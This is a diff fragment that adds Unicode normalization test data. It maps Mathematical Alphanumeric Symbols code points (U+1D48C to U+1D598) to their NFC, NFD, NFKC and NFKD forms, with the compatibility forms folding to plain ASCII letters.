+{ source: [0x1D48C], NFC: [0x1D48C], NFD: [0x1D48C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D48D], NFC: [0x1D48D], NFD: [0x1D48D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D48E], NFC: [0x1D48E], NFD: [0x1D48E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D48F], NFC: [0x1D48F], NFD: [0x1D48F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D490], NFC: [0x1D490], NFD: [0x1D490], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D491], NFC: [0x1D491], NFD: [0x1D491], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D492], NFC: [0x1D492], NFD: [0x1D492], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D493], NFC: [0x1D493], NFD: [0x1D493], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D494], NFC: [0x1D494], NFD: [0x1D494], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D495], NFC: [0x1D495], NFD: [0x1D495], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D496], NFC: [0x1D496], NFD: [0x1D496], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D497], NFC: [0x1D497], NFD: [0x1D497], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D498], NFC: [0x1D498], NFD: [0x1D498], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D499], NFC: [0x1D499], NFD: [0x1D499], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D49A], NFC: [0x1D49A], NFD: [0x1D49A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D49B], NFC: [0x1D49B], NFD: [0x1D49B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D49C], NFC: [0x1D49C], NFD: [0x1D49C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D49E], NFC: [0x1D49E], NFD: [0x1D49E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D49F], NFC: [0x1D49F], NFD: [0x1D49F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4A2], NFC: [0x1D4A2], NFD: [0x1D4A2], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4A5], NFC: [0x1D4A5], NFD: [0x1D4A5], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4A6], NFC: [0x1D4A6], NFD: [0x1D4A6], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4A9], NFC: [0x1D4A9], NFD: [0x1D4A9], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4AA], NFC: [0x1D4AA], NFD: [0x1D4AA], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4AB], NFC: [0x1D4AB], NFD: [0x1D4AB], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4AC], NFC: [0x1D4AC], NFD: [0x1D4AC], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4AE], NFC: [0x1D4AE], NFD: [0x1D4AE], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4AF], NFC: [0x1D4AF], NFD: [0x1D4AF], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4B0], NFC: [0x1D4B0], NFD: [0x1D4B0], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4B1], NFC: [0x1D4B1], NFD: [0x1D4B1], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4B2], NFC: [0x1D4B2], NFD: [0x1D4B2], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4B3], NFC: [0x1D4B3], NFD: [0x1D4B3], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4B4], NFC: [0x1D4B4], NFD: [0x1D4B4], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4B5], NFC: [0x1D4B5], NFD: [0x1D4B5], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4B6], NFC: [0x1D4B6], NFD: [0x1D4B6], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4B7], NFC: [0x1D4B7], NFD: [0x1D4B7], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4B8], NFC: [0x1D4B8], NFD: [0x1D4B8], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4B9], NFC: [0x1D4B9], NFD: [0x1D4B9], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4BB], NFC: [0x1D4BB], NFD: [0x1D4BB], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4BD], NFC: [0x1D4BD], NFD: [0x1D4BD], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4BE], NFC: [0x1D4BE], NFD: [0x1D4BE], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4BF], NFC: [0x1D4BF], NFD: [0x1D4BF], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4C0], NFC: [0x1D4C0], NFD: [0x1D4C0], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4C1], NFC: [0x1D4C1], NFD: [0x1D4C1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4C2], NFC: [0x1D4C2], NFD: [0x1D4C2], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4C3], NFC: [0x1D4C3], NFD: [0x1D4C3], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4C5], NFC: [0x1D4C5], NFD: [0x1D4C5], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4C6], NFC: [0x1D4C6], NFD: [0x1D4C6], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4C7], NFC: [0x1D4C7], NFD: [0x1D4C7], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4C8], NFC: [0x1D4C8], NFD: [0x1D4C8], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4C9], NFC: [0x1D4C9], NFD: [0x1D4C9], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4CA], NFC: [0x1D4CA], NFD: [0x1D4CA], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4CB], NFC: [0x1D4CB], NFD: [0x1D4CB], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D4CC], NFC: [0x1D4CC], NFD: [0x1D4CC], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D4CD], NFC: [0x1D4CD], NFD: [0x1D4CD], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D4CE], NFC: [0x1D4CE], NFD: [0x1D4CE], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D4CF], NFC: [0x1D4CF], NFD: [0x1D4CF], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D4D0], NFC: [0x1D4D0], NFD: [0x1D4D0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D4D1], NFC: [0x1D4D1], NFD: [0x1D4D1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D4D2], NFC: [0x1D4D2], NFD: [0x1D4D2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D4D3], NFC: [0x1D4D3], NFD: [0x1D4D3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4D4], NFC: [0x1D4D4], NFD: [0x1D4D4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D4D5], NFC: [0x1D4D5], NFD: [0x1D4D5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D4D6], NFC: [0x1D4D6], NFD: [0x1D4D6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4D7], NFC: [0x1D4D7], NFD: [0x1D4D7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D4D8], NFC: [0x1D4D8], NFD: [0x1D4D8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D4D9], NFC: [0x1D4D9], NFD: [0x1D4D9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4DA], NFC: [0x1D4DA], NFD: [0x1D4DA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4DB], NFC: [0x1D4DB], NFD: [0x1D4DB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D4DC], NFC: [0x1D4DC], NFD: [0x1D4DC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D4DD], NFC: [0x1D4DD], NFD: [0x1D4DD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4DE], NFC: [0x1D4DE], NFD: [0x1D4DE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4DF], NFC: [0x1D4DF], NFD: [0x1D4DF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4E0], NFC: [0x1D4E0], NFD: [0x1D4E0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4E1], NFC: [0x1D4E1], NFD: [0x1D4E1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D4E2], NFC: [0x1D4E2], NFD: [0x1D4E2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4E3], NFC: [0x1D4E3], NFD: [0x1D4E3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4E4], NFC: [0x1D4E4], NFD: [0x1D4E4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4E5], NFC: [0x1D4E5], NFD: [0x1D4E5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4E6], NFC: [0x1D4E6], NFD: [0x1D4E6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4E7], NFC: [0x1D4E7], NFD: [0x1D4E7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4E8], NFC: [0x1D4E8], NFD: [0x1D4E8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4E9], NFC: [0x1D4E9], NFD: [0x1D4E9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4EA], NFC: [0x1D4EA], NFD: [0x1D4EA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4EB], NFC: [0x1D4EB], NFD: [0x1D4EB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4EC], NFC: [0x1D4EC], NFD: [0x1D4EC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4ED], NFC: [0x1D4ED], NFD: [0x1D4ED], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4EE], NFC: [0x1D4EE], NFD: [0x1D4EE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4EF], NFC: [0x1D4EF], NFD: [0x1D4EF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4F0], NFC: [0x1D4F0], NFD: [0x1D4F0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F1], NFC: [0x1D4F1], NFD: [0x1D4F1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4F2], NFC: [0x1D4F2], NFD: [0x1D4F2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4F3], NFC: [0x1D4F3], NFD: [0x1D4F3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4F4], NFC: [0x1D4F4], NFD: [0x1D4F4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4F5], NFC: [0x1D4F5], NFD: [0x1D4F5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4F6], NFC: [0x1D4F6], NFD: [0x1D4F6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4F7], NFC: [0x1D4F7], NFD: [0x1D4F7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4F8], NFC: [0x1D4F8], NFD: [0x1D4F8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D4F9], NFC: [0x1D4F9], NFD: [0x1D4F9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4FA], NFC: [0x1D4FA], NFD: [0x1D4FA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4FB], NFC: [0x1D4FB], NFD: [0x1D4FB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4FC], NFC: [0x1D4FC], NFD: [0x1D4FC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4FD], NFC: [0x1D4FD], NFD: [0x1D4FD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4FE], NFC: [0x1D4FE], NFD: [0x1D4FE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4FF], NFC: [0x1D4FF], NFD: [0x1D4FF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D500], NFC: [0x1D500], NFD: [0x1D500], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D501], NFC: [0x1D501], NFD: [0x1D501], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D502], NFC: [0x1D502], NFD: [0x1D502], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D503], NFC: [0x1D503], NFD: [0x1D503], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D504], NFC: [0x1D504], NFD: [0x1D504], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D505], NFC: [0x1D505], NFD: [0x1D505], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D507], NFC: [0x1D507], NFD: [0x1D507], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D508], NFC: [0x1D508], NFD: [0x1D508], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D509], NFC: [0x1D509], NFD: [0x1D509], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D50A], NFC: [0x1D50A], NFD: [0x1D50A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D50D], NFC: [0x1D50D], NFD: [0x1D50D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D50E], NFC: [0x1D50E], NFD: [0x1D50E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D50F], NFC: [0x1D50F], NFD: [0x1D50F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D510], NFC: [0x1D510], NFD: [0x1D510], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D511], NFC: [0x1D511], NFD: [0x1D511], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D512], NFC: [0x1D512], NFD: [0x1D512], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D513], NFC: [0x1D513], NFD: [0x1D513], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D514], NFC: [0x1D514], NFD: [0x1D514], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D516], NFC: [0x1D516], NFD: [0x1D516], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D517], NFC: [0x1D517], NFD: [0x1D517], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D518], NFC: [0x1D518], NFD: [0x1D518], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D519], NFC: [0x1D519], NFD: [0x1D519], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D51A], NFC: [0x1D51A], NFD: [0x1D51A], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D51B], NFC: [0x1D51B], NFD: [0x1D51B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D51C], NFC: [0x1D51C], NFD: [0x1D51C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D51E], NFC: [0x1D51E], NFD: [0x1D51E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D51F], NFC: [0x1D51F], NFD: [0x1D51F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D520], NFC: [0x1D520], NFD: [0x1D520], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D521], NFC: [0x1D521], NFD: [0x1D521], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D522], NFC: [0x1D522], NFD: [0x1D522], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D523], NFC: [0x1D523], NFD: [0x1D523], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D524], NFC: [0x1D524], NFD: [0x1D524], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D525], NFC: [0x1D525], NFD: [0x1D525], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D526], NFC: [0x1D526], NFD: [0x1D526], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D527], NFC: [0x1D527], NFD: [0x1D527], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D528], NFC: [0x1D528], NFD: [0x1D528], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D529], NFC: [0x1D529], NFD: [0x1D529], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D52A], NFC: [0x1D52A], NFD: [0x1D52A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D52B], NFC: [0x1D52B], NFD: [0x1D52B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D52C], NFC: [0x1D52C], NFD: [0x1D52C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D52D], NFC: [0x1D52D], NFD: [0x1D52D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D52E], NFC: [0x1D52E], NFD: [0x1D52E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D52F], NFC: [0x1D52F], NFD: [0x1D52F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D530], NFC: [0x1D530], NFD: [0x1D530], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D531], NFC: [0x1D531], NFD: [0x1D531], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D532], NFC: [0x1D532], NFD: [0x1D532], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D533], NFC: [0x1D533], NFD: [0x1D533], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D534], NFC: [0x1D534], NFD: [0x1D534], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D535], NFC: [0x1D535], NFD: [0x1D535], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D536], NFC: [0x1D536], NFD: [0x1D536], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D537], NFC: [0x1D537], NFD: [0x1D537], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D538], NFC: [0x1D538], NFD: [0x1D538], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D539], NFC: [0x1D539], NFD: [0x1D539], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D53B], NFC: [0x1D53B], NFD: [0x1D53B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D53C], NFC: [0x1D53C], NFD: [0x1D53C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D53D], NFC: [0x1D53D], NFD: [0x1D53D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D53E], NFC: [0x1D53E], NFD: [0x1D53E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D540], NFC: [0x1D540], NFD: [0x1D540], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D541], NFC: [0x1D541], NFD: [0x1D541], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D542], NFC: [0x1D542], NFD: [0x1D542], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D543], NFC: [0x1D543], NFD: [0x1D543], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D544], NFC: [0x1D544], NFD: [0x1D544], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D546], NFC: [0x1D546], NFD: [0x1D546], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D54A], NFC: [0x1D54A], NFD: [0x1D54A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D54B], NFC: [0x1D54B], NFD: [0x1D54B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D54C], NFC: [0x1D54C], NFD: [0x1D54C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D54D], NFC: [0x1D54D], NFD: [0x1D54D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D54E], NFC: [0x1D54E], NFD: [0x1D54E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D54F], NFC: [0x1D54F], NFD: [0x1D54F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D550], NFC: [0x1D550], NFD: [0x1D550], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D552], NFC: [0x1D552], NFD: [0x1D552], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D553], NFC: [0x1D553], NFD: [0x1D553], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D554], NFC: [0x1D554], NFD: [0x1D554], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D555], NFC: [0x1D555], NFD: [0x1D555], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D556], NFC: [0x1D556], NFD: [0x1D556], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D557], NFC: [0x1D557], NFD: [0x1D557], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D558], NFC: [0x1D558], NFD: [0x1D558], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D559], NFC: [0x1D559], NFD: [0x1D559], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D55A], NFC: [0x1D55A], NFD: [0x1D55A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D55B], NFC: [0x1D55B], NFD: [0x1D55B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D55C], NFC: [0x1D55C], NFD: [0x1D55C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D55D], NFC: [0x1D55D], NFD: [0x1D55D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D55E], NFC: [0x1D55E], NFD: [0x1D55E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D55F], NFC: [0x1D55F], NFD: [0x1D55F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D560], NFC: [0x1D560], NFD: [0x1D560], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D561], NFC: [0x1D561], NFD: [0x1D561], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D562], NFC: [0x1D562], NFD: [0x1D562], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D563], NFC: [0x1D563], NFD: [0x1D563], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D564], NFC: [0x1D564], NFD: [0x1D564], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D565], NFC: [0x1D565], NFD: [0x1D565], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D566], NFC: [0x1D566], NFD: [0x1D566], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D567], NFC: [0x1D567], NFD: [0x1D567], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D568], NFC: [0x1D568], NFD: [0x1D568], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D569], NFC: [0x1D569], NFD: [0x1D569], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D56A], NFC: [0x1D56A], NFD: [0x1D56A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D56B], NFC: [0x1D56B], NFD: [0x1D56B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D56C], NFC: [0x1D56C], NFD: [0x1D56C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D56D], NFC: [0x1D56D], NFD: [0x1D56D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D56E], NFC: [0x1D56E], NFD: [0x1D56E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D56F], NFC: [0x1D56F], NFD: [0x1D56F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D570], NFC: [0x1D570], NFD: [0x1D570], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D571], NFC: [0x1D571], NFD: [0x1D571], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D572], NFC: [0x1D572], NFD: [0x1D572], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D573], NFC: [0x1D573], NFD: [0x1D573], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D574], NFC: [0x1D574], NFD: [0x1D574], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D575], NFC: [0x1D575], NFD: [0x1D575], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D576], NFC: [0x1D576], NFD: [0x1D576], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D577], NFC: [0x1D577], NFD: [0x1D577], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D578], NFC: [0x1D578], NFD: [0x1D578], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D579], NFC: [0x1D579], NFD: [0x1D579], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D57A], NFC: [0x1D57A], NFD: [0x1D57A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D57B], NFC: [0x1D57B], NFD: [0x1D57B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D57C], NFC: [0x1D57C], NFD: [0x1D57C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D57D], NFC: [0x1D57D], NFD: [0x1D57D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D57E], NFC: [0x1D57E], NFD: [0x1D57E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D57F], NFC: [0x1D57F], NFD: [0x1D57F], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D580], NFC: [0x1D580], NFD: [0x1D580], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D581], NFC: [0x1D581], NFD: [0x1D581], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D582], NFC: [0x1D582], NFD: [0x1D582], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D583], NFC: [0x1D583], NFD: [0x1D583], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D584], NFC: [0x1D584], NFD: [0x1D584], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D585], NFC: [0x1D585], NFD: [0x1D585], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D586], NFC: [0x1D586], NFD: [0x1D586], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D587], NFC: [0x1D587], NFD: [0x1D587], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D588], NFC: [0x1D588], NFD: [0x1D588], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D589], NFC: [0x1D589], NFD: [0x1D589], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D58A], NFC: [0x1D58A], NFD: [0x1D58A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D58B], NFC: [0x1D58B], NFD: [0x1D58B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D58C], NFC: [0x1D58C], NFD: [0x1D58C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D58D], NFC: [0x1D58D], NFD: [0x1D58D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D58E], NFC: [0x1D58E], NFD: [0x1D58E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D58F], NFC: [0x1D58F], NFD: [0x1D58F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D590], NFC: [0x1D590], NFD: [0x1D590], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D591], NFC: [0x1D591], NFD: [0x1D591], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D592], NFC: [0x1D592], NFD: [0x1D592], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D593], NFC: [0x1D593], NFD: [0x1D593], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D594], NFC: [0x1D594], NFD: [0x1D594], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D595], NFC: [0x1D595], NFD: [0x1D595], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D596], NFC: [0x1D596], NFD: [0x1D596], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D597], NFC: [0x1D597], NFD: [0x1D597], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D598], NFC: [0x1D598], NFD: [0x1D598], NFKC: [0x0073], NFKD: [0x0073] },
